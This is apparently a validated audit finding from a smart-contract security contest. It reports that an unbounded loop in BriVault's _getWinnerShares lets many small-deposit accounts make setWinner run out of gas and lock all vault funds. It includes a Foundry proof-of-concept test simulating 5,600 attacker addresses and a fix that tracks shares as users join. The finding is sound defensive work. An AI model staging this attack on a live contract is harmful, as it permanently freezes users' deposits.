BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Unbounded iteration in `BriVault::_getWinnerShares` enables denial-of-service on `setWinner` , potentially leading to permanent vault fund lockup

fawarano

Unbounded iteration in BriVault::_getWinnerShares enables denial-of-service on setWinner , potentially leading to permanent vault fund lockup

Description

  • At the end of an event, the contract owner calls the setWinner function to select the winning team. This function internally invokes _getWinnerShares, which iterates through the userSharesToCountry mapping to identify and process the shares of users who bet on the winning team.

  • However, the loop inside _getWinnerShares is unbounded, meaning its gas cost increases with the number of participants. As the user base grows, calling setWinner will eventually run out of gas and revert, making it impossible to finalize the event. Since setWinner must succeed before any withdrawals are enabled, this results in a permanent denial of service , effectively locking all user funds in the vault, including those of legitimate winners.

    function _getWinnerShares() internal returns (uint256) {
    @> for (uint256 i = 0; i < usersAddress.length; ++i) {
    address user = usersAddress[i];
    totalWinnerShares += userSharesToCountry[user][winnerCountryId];
    }
    return totalWinnerShares;
    }

Risk

Likelihood: HIGH

  • An attacker can easily create multiple addresses and deposit minimum amounts (0.0002 ether + 1.5% participation fee) for each address before the event starts, with no restriction on the number of participants.

  • The attack can be executed by anyone at any time before eventStartDate, making it trivially exploitable with basic scripting knowledge.

Impact: HIGH

  • All user funds are permanently locked in the vault with no recovery mechanism. The withdraw function requires the winner to be set (winnerSet modifier), which becomes impossible after the DoS attack.

  • Legitimate participants who deposited significant amounts lose their entire stake, as there is no emergency withdrawal function or alternative recovery path.

Proof of Concept

The PoC shows that by creating 5,600+ participants with minimum deposits, the _getWinnerShares() loop in setWinner() exceeds the block gas limit, preventing the winner from being declared and permanently locking all user funds.

function test_setWinner_DoS_outOfGas() public {
vm.prank(owner);
briVault.setCountry(countries);
​
//Attacker creates many participants with minimum deposits to cause DoS
uint256 numAttackAddresses = 5600;
for (uint256 i = 0; i < numAttackAddresses; i++) {
address attacker = address(uint160(i + 1000));
mockToken.mint(attacker, 1 ether);
vm.startPrank(attacker);
mockToken.approve(address(briVault), 1 ether);
briVault.deposit(0.001 ether, attacker);
briVault.joinEvent(0);
vm.stopPrank();
}
​
// Normal users also participate
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user1);
briVault.joinEvent(10);
vm.stopPrank();
​
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
briVault.deposit(5 ether, user2);
briVault.joinEvent(10);
vm.stopPrank();
​
uint256 user1BalanceBefore = mockToken.balanceOf(user1);
uint256 user2BalanceBefore = mockToken.balanceOf(user2);
​
vm.warp(eventEndDate + 1);
​
// Owner tries to call setWinner() but it runs out of gas
vm.startPrank(owner);
vm.expectRevert(); // Expect a revert (out of gas)
briVault.setWinner(10);
vm.stopPrank();
​
// Verify winner was not set
string memory winnerResult = briVault.getWinner();
assertEq(winnerResult, "", "Winner should not be set due to DoS");
​
// Users cannot withdraw because winner was never set
vm.startPrank(user1);
vm.expectRevert(abi.encodeWithSignature("winnerNotSet()"));
briVault.withdraw();
vm.stopPrank();
​
vm.startPrank(user2);
vm.expectRevert(abi.encodeWithSignature("winnerNotSet()"));
briVault.withdraw();
vm.stopPrank();
​
// Verify funds are still locked in the vault
assertEq(mockToken.balanceOf(user1), user1BalanceBefore, "User1 funds remain locked");
assertEq(mockToken.balanceOf(user2), user2BalanceBefore, "User2 funds remain locked");
assertGt(mockToken.balanceOf(address(briVault)), 0, "All funds permanently locked in vault");
}

Recommended Mitigation

The root cause is the unbounded loop in _getWinnerShares that iterates over all participants. Instead of calculating total winner shares after the event ends, track them incrementally as users join.

+ mapping(uint256 => uint256) public countryIdToTotalShares;
​
​
function joinEvent(uint256 countryId) public {
.
.
.
​
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
​
+ // Track total shares per country incrementally
+ countryIdToTotalShares[countryId] += participantShares;
​
usersAddress.push(msg.sender);
​
numberOfParticipants++;
totalParticipantShares += participantShares;
​
emit joinedEvent(msg.sender, countryId);
}
​
​
function setWinner(uint256 countryIndex) public onlyOwner returns (string memory) {
.
.
.
winner = teams[countryIndex];
​
_setWinner = true;
​
- _getWinnerShares();
+ totalWinnerShares = countryIdToTotalShares[countryIndex];
_setFinallizedVaultBalance();
​
emit WinnerSet(winner);
​
return winner;
}
​
- // Remove the vulnerable function entirely
- function _getWinnerShares() internal returns (uint256) {
- for (uint256 i = 0; i < usersAddress.length; ++i) {
- address user = usersAddress[i];
- totalWinnerShares += userSharesToCountry[user][winnerCountryId];
- }
- return totalWinnerShares;
- }
Updates

Appeal created

bube Lead Judge 20 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!